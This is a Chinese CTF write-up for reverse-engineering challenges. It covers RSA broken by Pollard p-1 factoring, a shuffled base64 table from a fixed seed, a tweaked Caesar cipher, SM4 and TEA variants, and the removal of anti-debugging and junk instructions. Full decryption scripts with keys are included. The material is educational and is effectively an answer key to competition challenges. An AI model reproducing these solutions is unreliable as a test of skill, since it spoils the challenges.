![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=N2E0MzJhNzhmMDAwNmJmZDdlODM1MjRiMmNiMTg3ZWVfNGE4WXNCdmFBRnRORU9IN3ViQ1JKa2JjSGVsUWJ2NEZfVG9rZW46S1JUNGJVR0Z0b0Zqa3J4dkFwVGNMOW8zblpnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

进来之后，就可以发现实际上是调用了这个sub_3BD0

动调或者其他手段都可以看出来这里实际上的v11是传进来的a1,v15是传进来的a2，而v13是上边那个字符串常数，415031

而a1，就是我们前边bytes_to_long之后的数，a2是前边那个很大的数字

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjAzYzU0NTFiZTFlOTM0MDMxNDk2MzQyMDQwM2YyYmZfYnVhMDVuWXVaQjRKZjFVdjdhaVEzTk1TUEdiY3NJM0VfVG9rZW46SGJXUWJzMndqb3B3ZEZ4VjFHb2NUdGZCbkxlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里推荐大家动调改改参数看看，就能够比较容易的看出来是个powmod函数，也就是求a的b次幂后对n取余。

标准的RSA加密流程。

这个加密呢，也不难，大家可以在hint（就前边输入的时候选择第二项）函数里边去慢慢摸索

这里简单提一下

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWE1MWVlZWM1ZjY5MjM2MmQ4NDY3NDYyZmFhMjRkNzRfSU9kRzRBUThhOXZUZ3BGMU9MMkN6WEI1enZwdWE4UUtfVG9rZW46SlFObWJLQWlub2VLYUd4Q3l5eWM2M1p6bldkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

进到hint里边，我们要关注的实际上还就是这几个函数

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDc5YjVkNTI2Mjg2NDQzMDE5ZmU2ZDIwZmIyOTE3YWJfM3JDeWtLbEp5a2w1b1FUZ1d1UmY3aUVxdEtQWEZtaW5fVG9rZW46WXpZSWJCQ09lb3Z5dVd4VVlUTWNvVVo5bllnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

前边的东西都是跟结构体相关，用来混淆的

首先是sub_214C这个

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWExZjQ3MzNmN2UwMjI2OWU2OTM1OTM0YzA4YjFlOWVfYk5qeU93RDBBNVI5SWlOUWg4SFRTUVVVU2N5WGkxeHJfVG9rZW46REpBRWI3MTFQb0kyU2N4ZnMyYWNLMUlJbnJjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这儿还隐藏了一个结构体

qword_19028这个也是一个结构体指针

如果你仔细看的话会发现这里是个自己实现的 带头结点的单链表 结构。

但还是那句话，动调解决一切困难。

这里把重命名之后的截图放出来

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjlmYTU5NmFiZGZlM2U2OTkwZThjNGUxZGM0ZGFmMzZfcFFtc2J4T1o1VHdSSGRsRkVGcE1RTWVXR0ZJQUFWU0pfVG9rZW46VUhaQ2JoQmpCb0tsNlJ4c0NncWN4Q3RMbmZjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

实际上就是生成了前10000个质数

有一说一如果比较熟悉这块的密码手看见前10000个质数，就能注意到是这个密码学函数

sieve_base

实际上也是这么干的。

当然上边也实现了诸如is_prime之类的，实现的方法也比较简单粗暴，用了费马小定理筛素数，同时加入了卡迈克尔数的判断来防止出现伪素数。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OWZmYTkxNjVmMDhhYTViZDVmZDI2MDkzNWQxY2Y4Y2JfMUp5M0pieE5aazBNZENyazV3NmxNRjAzdFFEYzRGVHFfVG9rZW46WjJjS2J6WnNNb3hQYWJ4RkZZcmNuRTQ0bnpKXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

我们回到这里的sub_58D0

这个函数实际上就是生成真正的素数的了。

正如我们前边所说

这里传入进来的v4实际上就是sieve_base，也就是前边所生成的前10000个素数列表

里边的函数确实错综复杂用到了很多密码学的函数

而这里也是为什么要用2-3个小时才能产生hint的原因

大致说一下主要逻辑

用前10000个素数里边随机抽几个，组成512位长的数，拿这个数+1，然后确认这个新的数是奇数还是偶数（如果是偶数，看都不用看肯定不是素数，弃掉继续生成），如果是奇数，扔到is_prime里边检查一下，如果是真的就返回这个数，如果不真就继续生成。

说白了就是下边这个函数...

```Python
from Crypto.Util.number import isPrime, sieve_base as primes

def myPrime(bits):
    while True:
        n = 2
        while n.bit_length() < bits:
            n *= choice(primes)
        if isPrime(n + 1):
            return n + 1
```

这就是这道题的一个全貌了，本来想用rust写的，但是一方面考虑到rust写基础数据结构有点抽象，再加上rust的llvm前边出的简单题都已经emmm，比较拟人...。所以还是用了C++。另外提一嘴，这里用string之类的一方面是方便大家看懂，后边就用数组了，而且密码学算法也被我稍微优化了一下，只不过没有扔到题上，还是用的老方法（其实我感觉真正慢的就是加减乘除这种基础函数的string来回切换和new，free非常费时费力）

解密就是很简单的，将N按照p-1光滑来进行分解

```Python
from gmpy2 import *
from libnum import n2s,s2n


c = 128519967952685054812572305257399537612475994166834214626695487888778028356955345252500082003346851020469650513237958861187825773997758622599352004208565133867113422172153699492631898725377689218545021901160616458294545356522910173917769073995035030251309651127389112757775657292036689449398378827840921213908
N = 903766297527309043432813459168085573186811052073673876089871088626023550277338057398936183864600668692872452596818287866307915481680014188912262917847812869621470758033895388005727907999316120928609013879749190295002251852121718518552124505708148140684456535072443185398778976495346115976290599931469329158821
e = 415031

def crack(N):
    a = 2
    n = 2
    while True:
        a = powmod(a, n, N)
        res = gcd(a-1, N)
        if res != 1 and res != N:
            q = N // res
            print("p=",res)
            print("q=",q)
            return res,q
            break
        n += 1


p,q = crack(N)
phi = (p-1)*(q-1)
d = invert(e,phi)
m = pow(c,d,N)
print(n2s(int(m)))
p= 30587408896374646694182652610095615345555439991095113491602196428298872586609366283849697868554737633613219755125387976861277045791203682668854239210589287
q= 29547004147658527970197769130940009843242006356539564796217096782314859812181532816748715439881069239690622743899668375434696804579800743291266171661304083
得到这串base64
ZH3IHq+zhYejqa/YF8ZE5KBEx79yxKQYoi7vo7C6wDPEwX1mb+zb
```

然后就是解决这个变表问题了

将srand的值修改成正确的值（0x191981）(来自后期补写：才发现ptrace并没有起到作用，实际上还是这个值...乐)

然后动调调试，或者其他方法也可以得到

这里使用的是我自己写的一个cpython的库，专门用来解决Window，linux之类的随机数乱七八糟没法用python解决的，有点类似于unsafe那种，总之这里简单解释一下要用到的函数）

```Rust
pub fn getRandTime_linux(seed: usize, length: usize) -> Vec<usize>;
```

也就是用seed生成length个随机数，返回一个list（为了显示类型就用了rust的写法，但实际上这玩意儿包是个python函数的）

给出对应的c代码

如果没有对应的库也可以通过在linux中编译下边的c来得到真正的码表

```C++
#include <iostream>
#include <random>
#include <string>
using namespace std;

int main(void){
        string new_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        srand(0x191981);
        for(int i = 0; i < 256; i++){
                int r1 = rand() % 64;
                int r2 = rand() % 64;
                if(r1 == r2){
                        continue;
                }
                char temp = new_list[r1];
                new_list[r1] = new_list[r2];
                new_list[r2] = temp;
        }
        cout<<new_list<<endl;
        return 0;
}
```

最终会得到下边的东西：

LskT1P9/N+RdDrn5ubfBhzlXtOHaUyoxwGqF6IQpZmWS2jJA4EV7K3C8evcgMYi0

当然你动调也是OK的）

拿到码表之后就是分析base64是如何操作字节的，然后进行解密了

```C++
table = "LskT1P9/N+RdDrn5ubfBhzlXtOHaUyoxwGqF6IQpZmWS2jJA4EV7K3C8evcgMYi0"

enc = "ZH3IHq+zhYejqa/YF8ZE5KBEx79yxKQYoi7vo7C6wDPEwX1mb+zb"

def base64_decode(msg):
    assert len(enc) % 4 == 0
    result = []
    for pos in range(0, len(enc), 4):
        per_data = msg[pos : pos + 4]
        pos_data = [table.index(i) for i in per_data]
        bit_data = "".join([bin(i)[2:].rjust(6,"0") for i in pos_data])

        str1_3_8 = bit_data[0*6:1*6]
        str1_1_2 = bit_data[2*6:2*6+2]
        str1 = str1_3_8 + str1_1_2
        str2_5_8 = bit_data[2*6+2:3*6]
        str2_1_4 = bit_data[3*6:3*6+4]
        str2 = str2_5_8 + str2_1_4
        str3_7_8 = bit_data[3*6+4:4*6]
        str3_1_6 = bit_data[1*6:2*6]
        str3 = str3_7_8 + str3_1_6
        result.append(int(str1,2))
        result.append(int(str2,2))
        result.append(int(str3,2))

    return result
print("".join([chr(j-i) for i,j in enumerate(base64_decode(enc)[::-1])]))
```

well，其实你有更多方法去实现解密，因为这个解密实际上就是调换了一下几个的位置，原先顺序是0123，这里就是0231，你给他恢复成对应的位置，然后再直接用这个码表去进行base64解密就行了，这题主要是各种混淆加太多了，乐。

不过由于实践中还是很多都是include别人自己写的一套算法，可能唯一有点刻意上难度的就只有数据结构也都是自己写的了吧）（这个有一说一是当时写上头了，就想着干脆数据结构也来自己干吧...）

### Ezre

出题人： A1gorithms

解题过程：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWEzNGU5OTU5OGZlMjU4MDFlMDVmNzJjY2FlZWJkZDVfOGd4WG55STFyS2RlcnZJNUlVZG1lSjZHUTJ6b1ZHV3ZfVG9rZW46T3pFaWJCRk9Ob2VSRU14R2RkbmNUYnptbnVnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

简单的魔改Caeser，只对大写字母进行了处理

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjNiM2RkYzcwMzNjOWZjM2I1MDA1ODk3MGIxZjM1MzZfWllTWElWQ3dvdWVjd0hrZ3A5ZVlzTElyWmNsMzFzb25fVG9rZW46UjI0Z2J6Qmkxb3Voc3p4UDFzWGNzU3pabmhkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

根据key进行+偏移，-回去就好了

```Java
void decaeser(char* text, int len, char* key) {

    for (int i = 0; i < len; i++) {
        char ch = text[i];

        // 处理大写字母
        if (ch >= 'A' && ch <= 'Z') {
            ch = (ch - key[i % 5]+26) % 26 + 'A';
        }


        text[i] = ch;
    }

}
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OWVlNDI5MjI3NWJmZmRiNWQ3ZDhhMTk5ZmNjMTE2YzlfY3lYMTVhSzZCdHpDZWxxZjhBb3RvMmR5clpTRnJuYVVfVG9rZW46S3U3aWJRNnc1bzNMck54aFpyOWNnemgwbmRnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 嘿嘿嘿

出题人： A1gorithms

解题过程：

一个简单的反调试及smc和sm4魔改

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGQwOGY2NWNjNTAwMjVhNWNjNDE0ZDU4M2IzZjQ1YTJfN08zZ0o2N3dVeU1lNndOb1NlNGtiTVVKSnRxS1lQS1FfVG9rZW46VGpVOWJiY3VEb3pBUXJ4ZWk1eGNZM2NNblRmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzM0Y2JhZjIxNmRmOGY5Y2ZhOGFmZTk1ZTI4NmU5ZmNfRW81c21WanVyVW1hREZ3OWVuekZLOHA4Q08wUVNXSGNfVG9rZW46UlUxRmI1N2J0b1NkSkF4N3ZkMGNUbTEybkZiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDFjZTBhYWVlOWE1MzdlNTBhMDc1NWM5NjcwOWRjY2NfMVk5a0V1ejllZXpnN3Zzd1VFdE9ueUdVWEtVU0JWNXlfVG9rZW46RDRHbGJlMDByb2Vhekl4d1ZqUWNVZ3FXbkVnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

然后u将数据转为未定义，然后c全部转成code

然后再1400014A0地址处创建成函数，也可以手托选中p

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OTY2NjEwNTg0N2YyNTlkOGI2MmFmZmIxYjU2YjhlY2JfYk03aHRKeHh1em04aVdyT1pEa044dVpBSTlBQ0l6ejhfVG9rZW46STFMeWJHVW9NbzR2OGp4c3h5dWNjYTdUbmVjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

相对与标准的多异或了一个0xa1

分析到这里其实也差不多了，剩下的全是标准的可以自行学习一下sm4 ecb模式，这里原理推荐看B站的一个up主叫可厉害的土豆，个人觉得她加密算法讲的蛮好懂的。

接下来进行解密

可以直接找个标准的过来，再密钥扩展那多了个^0xa1。

sm4在解密的时候也是会调用加密里面使用到的函数算法。

不同点就是，要把轮密钥RK反转过来再去进行32轮迭代，就能拿到原文，然后再把32bit数据分成4个8bit的数据进行反转。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OTU4OWJmMTY4YjgyNmZlYWI0OWU3NDg2ZjNkMjgwODZfSzd3YUx0VnBneVVCTkVadm5DWEg2cnBkcjlnaUJnMU1fVG9rZW46U2xEVGJlT3M3b3NIMmV4QnV3bmN6MGdRbnFjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OTQyMTZmYzA3ZmQ1YWYyZTExMGUwZGY5M2E1OTlkNjhfZDZjMXhMZTVjczFQaWlSR1pGdWh3RDN4SWRZWGJRNnZfVG9rZW46TGZadWIwSFlGb0ZmTEJ4MGNXYWMyeGVpbkpiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NGNjM2M5ZDc3MGZkNjgxMjFmNjIwMGY1OGM1OGEyYTFfVzhzd0k3aVF3Rk40NlN4TnFBQnJIR3k5M2FTdVdqZmVfVG9rZW46Wlp5dmIwTTRIb1l3cVl4cmdaN2N6SVkxbnNjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

还是推荐做ctf逆向的新生学习一些加密算法实现原理。

```Java
#define _CRT_SECURE_NO_WARNINGS 1
#include<stdio.h>
#include <stdint.h>
#include <string.h>
#define u8 unsigned char
#define u32 unsigned long

// S盒
const u8 Sbox[256] = {
        0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
        0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
        0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
        0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
        0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
        0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
        0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
        0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
        0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
        0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
        0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
        0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
        0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
        0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
        0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
        0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};

// 密钥扩展算法的常数FK 
const u32 FK[4] = {
        0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc
};

// 密钥扩展算法的固定参数CK 
const u32 CK[32] = {
        0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
        0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
        0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
        0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
        0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
        0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
        0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
        0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
};

u32 functionB(u32 b); // 查S盒的函数B 
u32 loopLeft(u32 a, short length); // 循环左移函数 
u32 functionL1(u32 a); // 线性变换L
u32 functionL2(u32 a); // 线性变换L'
u32 functionT(u32 a, short mode); // 合成变换T
void extendFirst(u32 MK[], u32 K[]); // 密钥扩展算法第一步
void extendSecond(u32 RK[], u32 K[]); // 密钥扩展算法第二步
void getRK(u32 MK[], u32 K[], u32 RK[]); // 轮密钥获取算法
void iterate32(u32 X[], u32 RK[]); // 迭代算法
void reverse(u32 X[], u32 Y[]); // 反转函数 
void encryptSM4(u32 X[], u32 RK[], u32 Y[]); // 加密算法
void decryptSM4(u32 X[], u32 RK[], u32 Y[]); // 解密算法


u32 functionB(u32 b) {
        u8 a[4];
        short i;
        a[0] = b / 0x1000000;
        a[1] = b / 0x10000;
        a[2] = b / 0x100;
        a[3] = b;
        b = Sbox[a[0]] * 0x1000000 + Sbox[a[1]] * 0x10000 + Sbox[a[2]] * 0x100 + Sbox[a[3]];
        return b;
}


u32 loopLeft(u32 a, short length) {
        short i;
        for (i = 0; i < length; i++) {
                a = a * 2 + a / 0x80000000;
        }
        return a;
}


u32 functionL1(u32 a) {
        return a ^ loopLeft(a, 2) ^ loopLeft(a, 10) ^ loopLeft(a, 18) ^ loopLeft(a, 24);
}


u32 functionL2(u32 a) {
        return a ^ loopLeft(a, 13) ^ loopLeft(a, 23);
}


u32 functionT(u32 a, short mode) {
        return mode == 1 ? functionL1(functionB(a)) : functionL2(functionB(a));
}


void extendFirst(u32 MK[], u32 K[]) {
        int i;
        for (i = 0; i < 4; i++) {
                K[i] = MK[i] ^ FK[i];
        }
}


void extendSecond(u32 RK[], u32 K[]) {
        short i;
        for (i = 0; i < 32; i++) {
                K[(i + 4) % 4] = K[i % 4] ^ functionT(K[(i + 1) % 4] ^ K[(i + 2) % 4] ^ K[(i + 3) % 4] ^ CK[i], 2) ^ 0xA1;
                RK[i] = K[(i + 4) % 4];
        }
}


void getRK(u32 MK[], u32 K[], u32 RK[]) {
        extendFirst(MK, K);
        extendSecond(RK, K);
}


void iterate32(u32 X[], u32 RK[]) {
        short i;
        for (i = 0; i < 32; i++) {
                X[(i + 4) % 4] = X[i % 4] ^ functionT(X[(i + 1) % 4] ^ X[(i + 2) % 4] ^ X[(i + 3) % 4] ^ RK[i], 1);
        }
}


void reverse(u32 X[], u32 Y[]) {
        short i;
        for (i = 0; i < 4; i++) {
                Y[i] = X[4 - 1 - i];
        }
}

void encryptSM4(u32 X[], u32 RK[], u32 Y[]) {
        iterate32(X, RK);
        reverse(X, Y);
}


void decryptSM4(u32 X[], u32 RK[], u32 Y[]) {
        short i;
        u32 reverseRK[32];
        //密钥倒过来
        for (i = 0; i < 32; i++) {
                reverseRK[i] = RK[32 - 1 - i];
        }

        iterate32(X, reverseRK);
        reverse(X, Y);
}

int check(u32 Input[], u32 Enc[], int Len) {
        int i = 0;
        for (i = 0; i < Len; i++) {
                if (Input[i] != Enc[i]) {
                        return 0;
                }

        }
        return 1;
}

int main(void) {
        u32 enc[] = { 0xa8f44759,0xcdb824f2,0x32fb3c01,0x42beffe1,
                                        0x3ec30b40,0xe094aa46,0x2aea2b,0x362c0888 ,0 };
        u32 X[9] = { 0 }; // 明文 
        u32 MK[4] = { 0x636c6557,0x5f656d6f,0x495f6f74,0x46544353 }; // 密钥 
        //u32 MK[4] = { 0 };
        u32 RK[32]; // 轮密钥  
        u32 K[4]; // 中间数据 
        u32 Y[13] = { 0 }; // 密文 
        int len = 0;
        short i; // 临时变量

        getRK(MK, K, RK);



        for (i = 0; i < 2; i++) {

                decryptSM4(&enc[i * 4], RK, &X[i * 4]);
               
        }

        puts((char*)X);
        return 0;
}
```

### 桀桀桀

出题人： A1gorithms

解题过程：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjJmNDMwOTE0OTQ3OGQwNzYxNzAyZWFhMTNmNmIxOTdfa0pjMEZNV3dXbjE1Nk56ZXp6MVpFUUVjZ2JkQjg5VFFfVG9rZW46SkVDTGJLWHk4b2Q2MU54bjA4bmNaUWF0bkxmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里的考点就是z3解方程解出来是ISCTF

然后后面会利用这个去生成随机数种子

```Java
from z3 import *
S = Solver()
# seed = "ISCTF"
# seed = [ord(i) for i in seed]
seed = [0]*5
for i in range(len(seed)):
    seed[i] = Int("seed["+str(i)+"]")
num = 0


S.add(seed[0] * seed[1] * 1024 - 6204416 == 0)
S.add((seed[1]-1) * (seed[1]+1) - 6888 == 0)
S.add(seed[2] + seed[3] - 151 == 0)
S.add(seed[2] * 2048 - seed[3] - 137132 == 0 )
S.add(seed[0]+seed[1]+seed[2]+seed[3]+seed[4] - 377 == 0)

if S.check():
    sat = S.model()


print(sat)
seed[4] = 70
seed[1] = 83
seed[3] = 84
seed[2] = 67
seed[0] = 73
print(bytes(seed))
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NzBiZTcxYjc3ZDJhZmNlMWMyMjQwZDdkZmVjOGE2MDBfZXc4VjRiTDl3aUtIOHVvdW9tZkJDcHkxbWVmV29XUE1fVG9rZW46UmpZOGJjYjZBb3VmazV4QmJSd2N6SjdGbjVmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

让我们看一下魔改tea

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjcyZTczYjg3OTRhMDZlYWNjNTRiNDEzNTJkMTkzOTRfTXRFdHFkdFVsZ0lQYm5HWUd6TVE5bTZxdnB1c1Z5QTlfVG9rZW46R05RUWIyOXppb09zV0t4U0pibmNyeW5KbmtlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

nop掉我框柱的004119e6去除花指令

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=N2NhOWQ5MmExMmQ0ZjVhZWYwNDg5YjNmYWQ1YjQzYjVfZHNVZFY4QVNQR3g4TFIzemF0TzFVTk5JYlk3M2podDFfVG9rZW46RUo5cmJJcFZabzA4aVV4SjZEVmNtemhzbkRmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

魔改逻辑就是通过if去替换key和delta值

不过这里我设计了一个坑，我写了个tls把原本的key修改了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjE5YmFjZTAzYTdmZmUwM2M4Njc3OWVmNGMxNTQyZmNfYk1uYWhCYmVZNW52S3hJQ0pMdms4Q3dnWElUOEVwczhfVG9rZW46RjBHcWJDRlZhb1h5Nkt4akRnSGNUb1dHbk1oXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

继续nop这里去除tls里面的花指令

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZWY1ZGRiY2FiZGQ1Y2U5NzMxYmQ0ZWYyMmU5YTY4YWVfN1pVd2dQZnY2OXRRM3diZk9pc3NKNmpSZHlTdDFsR3RfVG9rZW46UVMxMmI3U0h0b2MzQjN4bndUNGNGa3RRbmxmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

发现无法f5

这里我添加了一个影响栈平衡的花指令

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWM5ZmZhMDgxNjNiZWE0OWE4NWE2NmY3NGRiZmVhYThfSm9HcnBNbTVXckMyY0FhclFNWTU1U2QxSUI0VGFGMVhfVG9rZW46TXVLSGJkTW5kb0VneFV4c2VDOGM0OHFvbkpjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这一段实际上没用任何意义

call一下又pop了一个eax

将这一块nop掉

就能f5了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDk5MmJmNGM5NTZlMjBjN2JiZWZiMmJhYmU4ZmQxZTRfUFpabEpIcTUzSFRYR0RKWUIycDAxQVZXV3d5UTNubXJfVG9rZW46RFZoVGJ0aDNubzJCZ2t4MjhreGNSYWhybnhkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里将tea的key异或了0xA1

再解tea的时候要把key异或0xA1

tea这一块分析完了之后，继续向下分析

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MWM5MjE0NWY3MzQ2ZjM2YWNkYWQyYjc1NTQ0NGI0ZmFfYUhpSjU5eFJiQ2RsVUphZDRNc21MejJhVTM3T1V6NVRfVG9rZW46Smc0TmJ5bkVBb0JGUVl4NG1aaWNPeHJVbm45XzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OGE2YzE0NjY3NjdiM2Q3NWE0MTdhNzY3ZTgzZjE5Y2FfdGFXUDVib2tPNWFMTkJUM29Sbkgwc3gzSkNxWDNCUlNfVG9rZW46QVJnSWJ5eEVrb3g4aER4OWl2WGNQNjlnblNmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

只有strlen????，这里也有一个花指令，导致代码分析不完全

Nop掉就好了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzAwY2NmYjdlNDFkYmY4Mjc3ZDkwODExYzJlMjA2YjJfbmlJcEdHTG82UU1zamVPajNKWW1JUHZad25JQW9kNHRfVG9rZW46TnVJaWJOTVdlb3hzOE14bUxXM2NZem85bnpzXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZmFkMzIzOWI0OGQwYzdhNzEzYjUwNzRkN2UzZDI3Y2NfdndKdnNsaGNSWUM5N0dnRVpCT0hBRXhRblU0NnJHejJfVG9rZW46UWx6cWJRNjdUb3JyOFl4T2tHY2N4eHBSbkhoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

将随机数分成了两部分进行异或

最后就是check了，check里面我没添加任何奇怪的东西

所以现在解密流程就是

Xor ---> Tea

```Java
void DeTea(char* enc, uint32_t* key, uint32_t XorNum) {
        uint32_t k1, k2, k3, k4;
        uint32_t sum, delta;
        uint32_t v1, v2;
        uint32_t* flag = NULL;
        int index = 0;
        int c = 0;
        flag = (uint32_t*)enc;
        int key1, key2, len;
        int i = 0;
        key1 = XorNum >> 6;
        key2 = XorNum - (key1 << 6);
        len = strlen(enc);
        for (i=0; i < len; i++) {
                if (i % 2) {
                        enc[i] ^= key1;
                }
                else {
                        enc[i] ^= key2;
                }

        }
        k1 = key[2], k2 = key[3], k3 = key[0], k4 = key[1];
        for (c = 0; c < 4; c++) {
                delta = 0x114514;
                k1 = key[2], k2 = key[3], k3 = key[0], k4 = key[1];
                sum = delta * 8 + 24 * 0x9e3779b9;
                v1 = flag[c * 2];
                v2 = flag[c * 2 + 1];
                for (index=0; index < 32; index++) {

                        v2 -= ((v1 << 4) + k3) ^ (v1 + sum) ^ ((v1 >> 5) + k4);
                        v1 -= ((v2 << 4) + k1) ^ (v2 + sum) ^ ((v2 >> 5) + k2);
                        sum -= delta;
                        if (index == 7) {
                                delta = 0x9e3779b9;
                        }
                        else if (index == 15) {
                                k1 = key[0];
                                k2 = key[1];
                                k3 = key[2];
                                k4 = key[3];
                        }

                }
                flag[c * 2] = v1;
                flag[c * 2 + 1] = v2;
        }
}
```

这里给一个解密模板，请自己构造传参以及修改key和伪随机数

我在源码中直接调用即可

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGQ3NWQ0NDE0NDNmMGFlNDhhYjczOTA5OTQ2ZWVlY2NfN3V3a01BQjQxazBGeHF4bm16VXV5WEh5YkQyUmNuSmlfVG9rZW46S2w4ZWJiTk9Fb0N3MXB4MHlsM2NkMWdIbkxiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

